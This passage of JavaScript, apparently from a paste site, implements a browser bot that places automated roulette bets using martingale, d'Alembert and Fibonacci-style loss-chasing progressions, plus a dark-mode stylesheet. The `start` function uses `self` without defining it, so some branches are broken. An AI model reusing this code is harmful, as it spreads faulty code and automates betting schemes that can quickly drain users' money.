  1624.  
  1625. self.old_base = self.base_bet;
  1626.  
  1627.  
  1628. self.old_method = self.method;
  1629.  
  1630.  
  1631. if (self.old_method === 'dalembert') {
  1632.  
  1633.  
  1634. if (self.last_bet > self.old_base) {
  1635.  
  1636.  
  1637. self.bet(self.last_bet - 1);
  1638.  
  1639.  
  1640. } else {
  1641.  
  1642.  
  1643. self.bet(self.base_bet);
  1644.  
  1645.  
  1646. }
  1647.  
  1648.  
  1649. } else {
  1650.  
  1651.  
  1652. self.bet(self.base_bet);
  1653.  
  1654.  
  1655. }
  1656.  
  1657.  
  1658. } else {
  1659.  
  1660.  
  1661. self.last_result = 'lose';
  1662.  
  1663.  
  1664. self.log('Lose!');
  1665.  
  1666.  
  1667. self.stats.loses += 1;
  1668.  
  1669.  
  1670. if (self.old_method === 'martingale') {
  1671.  
  1672.  
  1673. self.bet(self.last_bet * 2);
  1674.  
  1675.  
  1676. } else if (self.old_method === 'great martingale') {
  1677.  
  1678.  
  1679. self.bet(self.last_bet * 2 + self.old_base);
  1680.  
  1681.  
  1682. } else if (self.old_method === 'green') {
  1683.  
  1684.  
  1685. var bet_value = 0;
  1686.  
  1687.  
  1688. if (self.bet_history[self.bet_history.length - 1] === 1) {
  1689.  
  1690.  
  1691. if (self.bet_history[self.bet_history.length - 2] === 1) {
  1692.  
  1693.  
  1694. bet_value = 2;
  1695.  
  1696.  
  1697. } else {
  1698.  
  1699.  
  1700. bet_value = 1;
  1701.  
  1702.  
  1703. }
  1704.  
  1705.  
  1706. } else {
  1707.  
  1708.  
  1709. bet_value = self.bet_history[self.bet_history.length - 1] + self.bet_history[self.bet_history.length - 2];
  1710.  
  1711.  
  1712. }
  1713.  
  1714.  
  1715. self.bet(bet_value, 'green');
  1716.  
  1717.  
  1718. } else if (self.old_method === 'dalembert') {
  1719.  
  1720.  
  1721. self.bet(self.last_bet + 1);
  1722.  
  1723.  
  1724. }
  1725.  
  1726.  
  1727. }
  1728.  
  1729.  
  1730. }
  1731.  
  1732.  
  1733. }, 2 * 1000);
  1734.  
  1735.  
  1736.  
  1737.  
  1738.  
  1739.  
  1740.  
  1741. return true;
  1742.  
  1743.  
  1744. };
  1745.  
  1746.  
  1747.  
  1748.  
  1749.  
  1750.  
  1751.  
  1752. Automated.prototype.start = function() {
  1753.  
  1754.  
  1755. if (self.calculate_safe_bet) {
  1756.  
  1757.  
  1758. self.base_bet = Math.floor(self.balance / Math.pow(2, self.safe_bet_amount + 1));
  1759.  
  1760.  
  1761. self.menu.basebet.value = self.base_bet;
  1762.  
  1763.  
  1764. }
  1765.  
  1766.  
  1767. this.old_base = this.base_bet;
  1768.  
  1769.  
  1770. this.old_method = this.method;
  1771.  
  1772.  
  1773. if (this.updateAll()) {
  1774.  
  1775.  
  1776. if (this.last_result === 'lose') {
  1777.  
  1778.  
  1779. this.running = true;
  1780.  
  1781.  
  1782. if (this.old_method === 'martingale') {
  1783.  
  1784.  
  1785. this.bet(this.last_bet * 2);
  1786.  
  1787.  
  1788. } else if (this.old_method === 'great martingale') {
  1789.  
  1790.  
  1791. this.bet(this.last_bet * 2 + this.old_base);
  1792.  
  1793.  
  1794. } else if (self.old_method === 'green') {
  1795.  
  1796.  
  1797. var bet_value = 0;
  1798.  
  1799.  
  1800. if (self.bet_history[self.bet_history.length - 1] === 1) {
  1801.  
  1802.  
  1803. if (self.bet_history[self.bet_history.length - 2] === 1) {
  1804.  
  1805.  
  1806. bet_value = 2;
  1807.  
  1808.  
  1809. } else {
  1810.  
  1811.  
  1812. bet_value = 1;
  1813.  
  1814.  
  1815. }
  1816.  
  1817.  
  1818. } else {
  1819.  
  1820.  
  1821. bet_value = self.bet_history[self.bet_history.length - 1] + self.bet_history[self.bet_history.length - 2];
  1822.  
  1823.  
  1824. }
  1825.  
  1826.  
  1827. self.bet(bet_value, 'green');
  1828.  
  1829.  
  1830. } else if (self.old_method === 'dalembert') {
  1831.  
  1832.  
  1833. self.bet(self.last_bet + 1);
  1834.  
  1835.  
  1836. }
  1837.  
  1838.  
  1839. this.play();
  1840.  
  1841.  
  1842. } else {
  1843.  
  1844.  
  1845. this.running = true;
  1846.  
  1847.  
  1848. this.bet(this.base_bet);
  1849.  
  1850.  
  1851. this.play();
  1852.  
  1853.  
  1854. }
  1855.  
  1856.  
  1857. }
  1858.  
  1859.  
  1860. this.menu.abort.disabled = false;
  1861.  
  1862.  
  1863. this.menu.stop.disabled = false;
  1864.  
  1865.  
  1866. this.menu.start.disabled = true;
  1867.  
  1868.  
  1869. };
  1870.  
  1871.  
  1872.  
  1873.  
  1874.  
  1875.  
  1876.  
  1877. Automated.prototype.stop = function(abort) {
  1878.  
  1879.  
  1880. var self = this;
  1881.  
  1882.  
  1883. if (abort) { this.last_result = 'abort'; }
  1884.  
  1885.  
  1886. this.stats.balance = parseInt(this.balance) - parseInt(this.starting_balance);
  1887.  
  1888.  
  1889. setTimeout(function() {
  1890.  
  1891.  
  1892. clearInterval(self.game);
  1893.  
  1894.  
  1895. self.game = null;
  1896.  
  1897.  
  1898. self.running = false;
  1899.  
  1900.  
  1901. self.menu.abort.disabled = true;
  1902.  
  1903.  
  1904. self.menu.stop.disabled = true;
  1905.  
  1906.  
  1907. self.menu.start.disabled = false;
  1908.  
  1909.  
  1910. }, 1); // Next tick
  1911.  
  1912.  
  1913. };
  1914.  
  1915.  
  1916.  
  1917. Automated.prototype.darkMode = function() {
  1918.  
  1919.  
  1920. var style;
  1921.  
  1922.  
  1923. var css = 'body{background-color:#191919;color:#888}.navbar-default{background-color:#232323;border-color:#454545}#sidebar{background-color:#191919;border-color:#202020}.side-icon.active,.side-icon:hover{background-color:#202020}.side-icon .fa{color:#454545}.well{background:#232323;border-color:#323232;color:#888}#pullout{background-color:#191919;border-color:#323232}.form-control{background-color:#323232;border-color:#454545}.divchat{background-color:#323232;color:#999;border:none}.chat-link,.chat-link:hover,.chat-link:active{color:#bbb}.panel{background-color:#323232}.panel-default{border-color:#454545}.panel-default>.panel-heading{color:#888;background-color:#303030;border-color:#454545}.my-row{border-color:#454545}.list-group-item{border-color:#454545;background-color:#323232}.btn-default{border-color:#454545;background:#323232;text-shadow:none;color:#888;box-shadow:none}.btn-default:hover,.btn-default:active{background-color:#282828;color:#888;border-color:#454545}.btn-default[disabled]{border-color:#454545;background-color:#353535}.input-group-addon{background-color:#424242;border-color:#454545;color:#888}.progress{color:#bbb;background-color:#323232}.navbar-default .navbar-nav>li>a:focus,.navbar-default .navbar-nav>li>a:hover{color:#999}.navbar-default .navbar-nav>.open>a,.navbar-default .navbar-nav>.open>a:focus,.navbar-default .navbar-nav>.open>a:hover{color:#888;background-color:#323232}.dropdown-menu{background-color:#252525}.dropdown-menu>li>a{color:#888}.dropdown-menu>li>a:focus,.dropdown-menu>li>a:hover{background-color:#323232;color:#999}.dropdown-menu .divider{background-color:#454545}.form-control[disabled],.form-control[readonly],fieldset[disabled] .form-control{background-color:#404040;opacity:.5}';
  1924.  
  1925.  
  1926. style = document.getElementById('automated-style');
  1927.  
  1928.  
  1929. if (!style) {
  1930.  
  1931.  
  1932. var head;
  1933.  
  1934.  
  1935. head = document.getElementsByTagName('head')[0];
  1936.  
  1937.  
  1938. if (!head) { return; }
  1939.  
  1940.  
  1941. style = document.createElement('style');
  1942.  
  1943.  
  1944. style.type = 'text/css';
  1945.  
  1946.  
  1947. style.id = 'automated-style';
  1948.  
  1949.  
  1950. style.innerHTML = css;
  1951.  
  1952.  
  1953. head.appendChild(style);
  1954.  
  1955.  
  1956. }
  1957.  
  1958.  
  1959. style.innerHTML = css;
  1960.  
  1961.  
  1962. };
  1963.  
  1964.  
  1965.  
  1966.  
  1967. Automated.prototype.lightMode = function() {
  1968.  
  1969.  
  1970. var style = document.getElementById('automated-style');
  1971.  
  1972.  
  1973. style.innerHTML = '';
  1974.  
  1975.  
  1976. };
  1977.  
  1978.  
  1979.  
  1980.  
  1981. Automated.prototype.log = function(message) {
  1982.  
  1983.  
  1984. chat('alert', '[Automated] ' + message);
  1985.  
  1986.  
  1987. };
  1988.  
  1989.  
  1990.  
  1991.  
  1992. Automated.prototype.logdebug = function(message) {
  1993.  
  1994.  
  1995. chat('italic', '[Automated] ' + message);
  1996.  
  1997.  
  1998. };
  1999.  
  2000. var automated = new Automated();
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement